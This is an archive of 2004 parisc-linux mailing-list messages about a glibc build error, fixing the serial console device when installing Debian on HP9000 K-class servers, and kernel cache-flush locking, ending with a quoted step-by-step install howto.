/CAD/parisc-linux/xc/bin/hppa-linux-gcc   -shared -static-libgcc -Wl,-O1
 -Wl,-z,defs -Wl,-dynamic-linker=/opt/palinux-3.4.0/hppa-linux/lib/ld.so.1
 -B/CAD/parisc-linux/build/glibc/csu/  -Wl,--version-script=/CAD/parisc-linux/build/glibc/libc.map
-Wl,-soname=libc.so.6  -nostdlib -nostartfiles -e __libc_main -L/CAD/parisc-linux/build/glibc
-L/CAD/parisc-linux/build/glibc/math -L/CAD/parisc-linux/build/glibc/elf
-L/CAD/parisc-linux/build/glibc/dlfcn -L/CAD/parisc-linux/build/glibc/nss
-L/CAD/parisc-linux/build/glibc/nis -L/CAD/parisc-linux/build/glibc/rt -L/CAD/parisc-linux/build/glibc/resolv
-L/CAD/parisc-linux/build/glibc/crypt -L/CAD/parisc-linux/build/glibc/linuxthreads
-Wl,-rpath-link=/CAD/parisc-linux/build/glibc:/CAD/parisc-linux/build/glibc/math:/CAD/parisc-linux/build/glibc/elf:/CAD/parisc-linux/build/glibc/dlfcn:/CAD/parisc-linux/build/glibc/nss:/CAD/parisc-linux/build/glibc/nis:/CAD/parisc-linux/build/glibc/rt:
/CAD/parisc-linux/build/glibc/resolv:/CAD/parisc-linux/build/glibc/crypt:/CAD/parisc-linux/build/glibc/linuxthreads
-o /CAD/parisc-linux/build/glibc/libc.so -T /CAD/parisc-linux/build/glibc/shlib.lds
/CAD/parisc-linux/build/glibc/csu/abi-note.o /CAD/parisc-linux/build/glibc/elf/soinit.os
/CAD/parisc-linux/build/glibc/libc_pic.os /CAD/parisc-linux/build/glibc/elf/sofini.os
/CAD/parisc-linux/build/glibc/elf/interp.os /CAD/parisc-linux/build/glibc/elf/ld.so
-lgcc -lgcc_eh
/CAD/parisc-linux/xc/lib/gcc/hppa-linux/3.4.0/../../../../hppa-linux/bin/ld:
cannot find -lgcc_eh
collect2: ld returned 1 exit status
make[1]: *** [/CAD/parisc-linux/build/glibc/libc.so] Error 1
make[1]: Leaving directory `/CAD/parisc-linux/sources/glibc-2.3.3-20040405'
make: *** [all] Error 2

### Wed Apr  7 11:06:37 2004 ###

with previous gcc_snapshot no such a pb (and the procedure a ruby script
is exactly the same) and gcc-3.3 don't need libgcc_eh?

Thanks in advance for adivse,
    Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JKonrad@linotype.com
Newsgroups: gmane.linux.ports.parisc
Subject: Antwort: Re: [parisc-linux] problems installing on k 200
Date: Thu, 8 Apr 2004 09:52:43 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <OF394C6696.D015ED94-ONC1256E70.002B26AF@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623342 7985 80.91.229.3 (22 Nov 2014 02:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: JKonrad@linotype.com  Thu Apr  8 01:54:06 2004
Return-Path: <JKonrad@linotype.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linotype.com (events.linotypelibrary.com [213.61.7.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EB3B4DEA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 01:54:06 -0600 (MDT)
Original-Received: by mail.linotype.com (Linotype Mail System, from userid 501)
	id 78235B4114; Thu,  8 Apr 2004 09:54:05 +0200 (CEST)
Original-Received: from www.fonts.de (ldap.linotype.com [193.103.125.42])
	by mail.linotype.com (Linotype Mail System) with ESMTP
	id A54E9B40D8; Thu,  8 Apr 2004 09:54:04 +0200 (CEST)
Original-Received: from domino001.fonts.de (webmail.fonts.de [193.103.125.36])
	by www.fonts.de (Linotype Mail System) with ESMTP
	id 9991C4C0AB; Thu,  8 Apr 2004 09:54:02 +0200 (CEST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on domino001/Linotype/DE(Release 5.0.12
	|February 13, 2003) at 04/08/2004 09:53:11 AM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 07:54:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21315


Hello Ryan,

sorry for being a newbie, but:

how do I check the major number of this driver?
how do I change this number?
where is this number to be found?

Yours

Jay


                                                                                                                                                                      
                      Ryan Bradetich                                                                                                                                  
                      <rbradetich@uswest.net>                 An:       JKonrad@linotype.com                                                                          
                      Gesendet von:                           Kopie:    parisc-linux@lists.parisc-linux.org                                                           
                      parisc-linux-bounces@lists.paris        Thema:    Re: [parisc-linux] problems installing on k 200                                               
                      c-linux.org                                                                                                                                     
                                                                                                                                                                      
                                                                                                                                                                      
                      08.04.2004 03:07                                                                                                                                
                                                                                                                                                                      
                                                                                                                                                                      




Jay,

There was a major number change for the MUX driver in the 2.4 kernels.

Check the major number for /dev/ttyB0, and either change it to 11 from
60 or 60 from 11.

Hope that helps!

- Ryan


On Wed, 2004-04-07 at 07:06, JKonrad@linotype.com wrote:
> Hi,
>
> I have just tried to install my K 200 with this netinstall.iso:
>
> palinux-2.4.21-pa6-20030718-netinst.iso
>
> which is the newest. This image allows me to fully install the machine using the CD, but when I reboot my machine, it boots Linux, then hangs, telling me:
>
> bin/sh: /dev/ttyB0: No such device
>
> It looks like the kernel on the CD supports ttyB0, but the kernel the CD installs does not. How can that be, and how can I fix this?
>
> Yours,
>
> Jay
>
> P.S.: The latest full image debian-30r1-hppa-binary-NONUS.iso won't even let me install, it hangs immediately, telling me my console isn't right, although I set it on ttyB0 with IPL.
>
> PPS: the e-mail for bug reports does not seem to work anymore
>
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux











From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Antwort: Re: [parisc-linux] problems installing on k 200
Date: Thu, 08 Apr 2004 10:04:53 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <407507A5.2090302@bluehash.de>
References: <OF394C6696.D015ED94-ONC1256E70.002B26AF@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623342 7990 80.91.229.3 (22 Nov 2014 02:29:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:02 +0000 (UTC)
To: JKonrad@linotype.com, parisc-linux@lists.parisc-linux.org
Original-X-From: r.scholz@bluehash.de  Thu Apr  8 02:03:51 2004
Return-Path: <r.scholz@bluehash.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail.medianet-world.de [213.157.0.167])
	by dsl2.external.hp.com (Postfix) with SMTP id 451A048B6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 02:03:50 -0600 (MDT)
Original-Received: (qmail 26238 invoked from network); 8 Apr 2004 08:03:43 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.1.239)
	by mail.medianet-world.de with SMTP; 8 Apr 2004 08:03:43 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT;
	rv:1.6) Gecko/20040113
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <OF394C6696.D015ED94-ONC1256E70.002B26AF@fonts.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 08:03:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21316

Hello,

you can check the major and minor number for /dev/ttyB0 by changing to 
/dev and typing "ls -l ttyB0". The fifth column of the output is the 
major and minor number of the device.
If it's the wrong major number, delete /dev/ttyB0 and create a new 
device file via mknod. I think "mknod /dev/ttyB0 b XX" should do the 
job. Replace XX with the major number you need.

Greetings,
    Ruediger

JKonrad@linotype.com schrieb:

>Hello Ryan,
>
>sorry for being a newbie, but:
>
>how do I check the major number of this driver?
>how do I change this number?
>where is this number to be found?
>
>Yours
>
>Jay
>
>  
>



From - Thu Nov 08 21:31:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 08 Apr 2004 07:36:22 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <1081427783.2105.6.camel@mulgrave>
References: <40711E55000025BC@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623343 7994 80.91.229.3 (22 Nov 2014 02:29:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:03 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 06:36:59 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8592F4E32
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 06:36:59 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38Caoa12045; Thu, 8 Apr 2004 08:36:50 -0400
In-Reply-To: <40711E55000025BC@ocpmta2.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 12:37:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21317

On Thu, 2004-04-08 at 01:15, Joel Soete wrote:
> Now as far as remember .h files are headers and so should only contains declaration
> of function and not their definition excepted if they are very short  (imho
> 3 line max) but that is a personal limit: does it exist a common agreement
> on this limit? 
> And here why changing translation_exists() definition location?

Because it's an inline function.  To move an inline function to a place
shareable by other files it has to go into a header.

James




From - Thu Nov 08 21:31:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 14:41:34 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0404081422380.7010-100000__39248.3834563338$1416623343$gmane$org@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416623343 7997 80.91.229.3 (22 Nov 2014 02:29:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Andrea Arcangeli <andrea@suse.de>
Original-X-From: hugh@veritas.com  Thu Apr  8 07:41:37 2004
Return-Path: <hugh@veritas.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from MTVMIME02.enterprise.veritas.com (bay-bridge.veritas.com
	[143.127.3.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 99C9D482A
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 07:41:37 -0600 (MDT)
Original-Received: from megami.veritas.com (unverified) by 
	MTVMIME02.enterprise.veritas.com (Content Technologies SMTPRS 4.3.12) 
	with SMTP id <T68d54261c60a8911547a0@MTVMIME02.enterprise.veritas.com>; 
	Thu, 8 Apr 2004 06:41:36 -0700
Original-Received: from peculier ([10.10.188.58]) (895 bytes) by megami.veritas.com 
	via sendmail with P:esmtp/R:smart_host/T:smtp 
	(sender: <hugh@veritas.com>) id <m1BBZmg-0000fqC@megami.veritas.com>
	for 
	<linux-kernel@vger.kernel.org>; Thu, 8 Apr 2004 06:41:34 -0700 (PDT) 
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@localhost.localdomain
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 13:41:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21318

Something to notice about that parisc __flush_dcache_page I sent you:
there's no locking around searching the tree for vmas; there was never
any locking around searching the list for vmas.  arm is similar, but
at least has no CONFIG_SMP, just a preemption issue.  Any ideas?

Thanks,
Hugh



From - Thu Nov 08 21:31:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: 08 Apr 2004 08:52:50 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1081432370.2105.77.camel__27367.8819569342$1416623343$gmane$org@mulgrave>
References: <Pine.LNX.4.44.0404081422380.7010-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623343 7999 80.91.229.3 (22 Nov 2014 02:29:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:03 +0000 (UTC)
Cc: Andrea Arcangeli <andrea@suse.de>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr  8 07:52:57 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C8D4482A
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 07:52:57 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i38Dqoa16259; Thu, 8 Apr 2004 09:52:50 -0400
In-Reply-To: <Pine.LNX.4.44.0404081422380.7010-100000@localhost.localdomain>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 13:52:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21319

On Thu, 2004-04-08 at 08:41, Hugh Dickins wrote:
> Something to notice about that parisc __flush_dcache_page I sent you:
> there's no locking around searching the tree for vmas; there was never
> any locking around searching the list for vmas.  arm is similar, but
> at least has no CONFIG_SMP, just a preemption issue.  Any ideas?

I don't think you sent it to the parisc list?

I'm afraid we've just been pretty heavily updating flush_dcache_page
recently to fill a number of holes in the implementation.

As far as list traversal goes...we don't require the list to freeze:
acidentally flushing dead vmas would be harmless and added ones wouldn't
need flushing, so all we need would probably be a safe traversal and a
reference to prevent the vma being deallocated.

James




From - Thu Nov 08 21:31:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rmap: parisc __flush_dcache_page
Date: Thu, 8 Apr 2004 15:16:39 +0100 (BST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0404081500520.7116-100000__24044.6337535561$1416623344$gmane$org@localhost.localdomain>
References: <1081432370.2105.77.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416623344 8004 80.91.229.3 (22 Nov 2014 02:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:04 +0000 (UTC)
Cc: Andrea Arcangeli <andrea@suse.de>,
	Linux Kernel <linux-kernel@vger.kernel.org>, parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: hugh@veritas.com  Thu Apr  8 08:16:41 2004
Return-Path: <hugh@veritas.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from MTVMIME01.enterprise.veritas.com (bay-bridge.veritas.com
	[143.127.3.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDC59482A
	for <parisc-linux@parisc-linux.org>;
	Thu,  8 Apr 2004 08:16:41 -0600 (MDT)
Original-Received: from megami.veritas.com (unverified) by 
	MTVMIME01.enterprise.veritas.com (Content Technologies SMTPRS 4.3.12) 
	with SMTP id <T68d5627fa90a89115184c@MTVMIME01.enterprise.veritas.com>; 
	Thu, 8 Apr 2004 07:16:41 -0700
Original-Received: from peculier ([10.10.188.58]) (2267 bytes) by megami.veritas.com 
	via sendmail with P:esmtp/R:smart_host/T:smtp 
	(sender: <hugh@veritas.com>) id <m1BBaKe-0000GYC@megami.veritas.com>
	for 
	<linux-kernel@vger.kernel.org>; Thu, 8 Apr 2004 07:16:40 -0700 (PDT) 
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@localhost.localdomain
In-Reply-To: <1081432370.2105.77.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 14:16:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21320

On 8 Apr 2004, James Bottomley wrote:
> On Thu, 2004-04-08 at 08:41, Hugh Dickins wrote:
> > Something to notice about that parisc __flush_dcache_page I sent you:
> > there's no locking around searching the tree for vmas; there was never
> > any locking around searching the list for vmas.  arm is similar, but
> > at least has no CONFIG_SMP, just a preemption issue.  Any ideas?
> 
> I don't think you sent it to the parisc list?

That's right, at present it's just something in Andrea's -aa tree
and Martin's -mjb tree.  Will try to remember to copy maintainers
when sending to Andrew.  But the problem was there before the patch.

> I'm afraid we've just been pretty heavily updating flush_dcache_page
> recently to fill a number of holes in the implementation.

Don't be afraid, that's good!  Is it still going vertically down
i_mmap_shared and i_mmap?  Whereas it's only interested in vmas of
the one mm, so could go horizontally along it.  Just an option to
play with, but I don't believe it solves anything, just as unsafe
when threaded.

> As far as list traversal goes...we don't require the list to freeze:
> acidentally flushing dead vmas would be harmless and added ones wouldn't
> need flushing,

Yes.

> so all we need would probably be a safe traversal and a
> reference to prevent the vma being deallocated.

Which we're not giving you at all at present.  I guess another layer
of spinlocking/nopreemption, for parisc and arm, dissolving to nothing
on other arches.

Hugh



From - Thu Nov 08 21:31:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JKonrad@linotype.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Antwort: HP9000 K Class install howto
Date: Thu, 8 Apr 2004 16:21:01 +0200
Lines: 149
Approved: news@gmane.org
Message-ID: <OFE1F8BAC7.195054B9-ONC1256E70.004EA0DA@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623344 8009 80.91.229.3 (22 Nov 2014 02:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: paczkoa@naturland.hu
Original-X-From: JKonrad@linotype.com  Thu Apr  8 08:22:23 2004
Return-Path: <JKonrad@linotype.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linotype.com (unknown [213.61.7.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id D18CF482A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Apr 2004 08:22:22 -0600 (MDT)
Original-Received: by mail.linotype.com (Linotype Mail System, from userid 501)
	id CAD0AB411F; Thu,  8 Apr 2004 16:22:08 +0200 (CEST)
Original-Received: from www.fonts.de (bhonet00003.fonts.de [193.103.125.42])
	by mail.linotype.com (Linotype Mail System) with ESMTP
	id F355EB411B; Thu,  8 Apr 2004 16:22:07 +0200 (CEST)
Original-Received: from domino001.fonts.de (mail.fonts.de [193.103.125.36])
	by www.fonts.de (Linotype Mail System) with ESMTP
	id 1CD284C0AB; Thu,  8 Apr 2004 16:22:05 +0200 (CEST)
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
X-MIMETrack: Serialize by Router on domino001/Linotype/DE(Release 5.0.12
	|February 13, 2003) at 04/08/2004 04:21:14 PM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 08 Apr 2004 14:22:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21321


Hi,

was an error while unpacking the kernel. Unpacked it a second time - no=
w the machine works. Thanks very much!!!!!

Unfortunately, it is not an smp-kernel, but nevertheless, the machine w=
orks!! Your howto is brilliant, the people should put this into officia=
l usage.

Greetings,

Jay


                                                                       =
                                                                       =
        =20
                      Paczk=F3 Andr=E1s                                =
                                                                       =
            =20
                      <paczkoa@naturlan        An:       JKonrad@linoty=
pe.com                                                                 =
        =20
                      d.hu>                    Kopie:                  =
                                                                       =
        =20
                                               Thema:    HP9000 K Class=
 install howto                                                         =
        =20
                      08.04.2004 10:12                                 =
                                                                       =
        =20
                      Bitte antworten                                  =
                                                                       =
        =20
                      an paczkoa                                       =
                                                                       =
        =20
                                                                       =
                                                                       =
        =20
                                                                       =
                                                                       =
        =20




HI!

I am install debian wtih a k260 and k460 with this howto. it is work pe=
rfekt.

> I worked on this for a while and finally developed a fairly trivial
> recipe to get debian woody installed on the K460 using the latest
> netinstall iso. =A0[Note: The K is not well supported on the 2.4 kern=
el,
> it is better supported under the 2.6 kernel ... It could work well fo=
r
> you ... depends upon what you are planning to use it for.]
>
> I performed this install using:
> =A0=A0=A0=A0=A0=A0palinux-2.4.22-pa6-20030903-netinst.iso
>
> But any of the net-install iso images should work.
>
> The only semi-gottcha is if you are setup to compile your own kernel
> from the cvs tree? =A0The problem is that linux-2.4.22-pa6 used by th=
e
> installer supports the Serial Mux console ... The kernel installed by=

> debian woody (2.4.17) does not. =A0This is why you would see past tho=
se
> last lines. =A0The recipe I developed to fix this prolem simply insta=
lls a
> newer kernel on the box so the Serial Mux console works.
>
> If you are not setup to compile I have made the kernel I used availab=
le
> at:
> =A0=A0=A0=A0=A0=A0http://parisc-linux.org/~rbrad/vmlinux-2.4.23-pa3.b=
z2
>
>
> Here is the receipe (could posibly be simpler.. but I verified this
> works on my k460):
>
> 1. Install ...
> =A0 =A0 =A0 =A0 Perform the install ... (do not reboot)
>
> 2. Execute the base-config ....
> =A0 =A0 =A0 =A0 execute a shell
> =A0 =A0 =A0 =A0 chroot /target
> =A0 =A0 =A0 =A0 mount -t proc proc /proc
> =A0 =A0 =A0 =A0 /usr/sbin/base-config
>
> 3. Load a newer kernel ...
> =A0 =A0 =A0 =A0 apt-get install wget
> =A0 =A0 =A0 =A0 wget http://somewhere.come/vmlinux-2.4.23-pa3
> =A0=A0=A0=A0=A0=A0ln -s /boot/vmlinux-2.4.23-pa3 /boot/vmlinux
> =A0 =A0 =A0 =A0 palo
>
> 4. Change the /dev/ttyB0 device file (it got assigned a real number
> since woody was released):
>
> =A0 =A0 =A0 =A0 rm /dev/ttyB0
> =A0 =A0 =A0 =A0 mknod /dev/ttyB0 c 11 0
> =A0 =A0 =A0 =A0 chgrp dialout /dev/ttyB0
> =A0 =A0 =A0 =A0 chmod 660 /dev/ttyB0
>
> 4. Cleanup the chroot...
> =A0 =A0 =A0 =A0 umount /proc
> =A0 =A0 =A0 =A0 exit # leave the chroot
>
> 5. Exit back to the installer ...
